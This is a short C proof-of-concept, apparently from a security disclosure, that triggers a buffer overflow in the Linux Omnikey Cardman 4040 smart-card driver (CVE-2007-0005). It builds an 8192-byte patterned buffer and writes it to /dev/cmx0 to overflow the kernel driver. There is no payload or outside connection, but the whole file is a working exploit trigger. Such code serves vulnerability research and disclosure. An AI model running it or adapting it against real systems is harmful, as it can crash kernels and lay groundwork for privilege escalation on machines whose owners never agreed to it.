/*
 * Linux Omnikey Cardman 4040 driver buffer overflow (CVE-2007-0005)
 * Copyright (C) Daniel Roethlisberger <daniel.roethlisberger at csnc.ch>
 * Compass Security Network Computing AG, Rapperswil, Switzerland.
 * All rights reserved.
 * http://www.csnc.ch/
 */

#include<sys/stat.h>
#include<fcntl.h>
#include<unistd.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<errno.h>

int main(int argc, char *argv[]) {
    int fd, i, n;
    char buf[8192];

    /*
     * 0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f  ...
     * 00 01 00 02 00 03 00 04 00 05 00 06 00 07 00 08 ...
     */
    for (i = 0; i < sizeof(buf); i += 2) {
        buf[i]   = (char)(((i/2) & 0xFF00) >> 8);
        buf[i+1] = (char) ((i/2) & 0x00FF);
    }

    if ((fd = open("/dev/cmx0", O_RDWR)) < 0) {
        printf("Error: open() => %s\n", strerror(errno));
        exit(errno);
    }
    if ((n = write(fd, buf, sizeof(buf))) < 0) {
        printf("Error: write() => %s\n", strerror(errno));
        exit(errno);
    }
    printf("%d of %d bytes written\n", n, sizeof(buf));
    exit(0);
}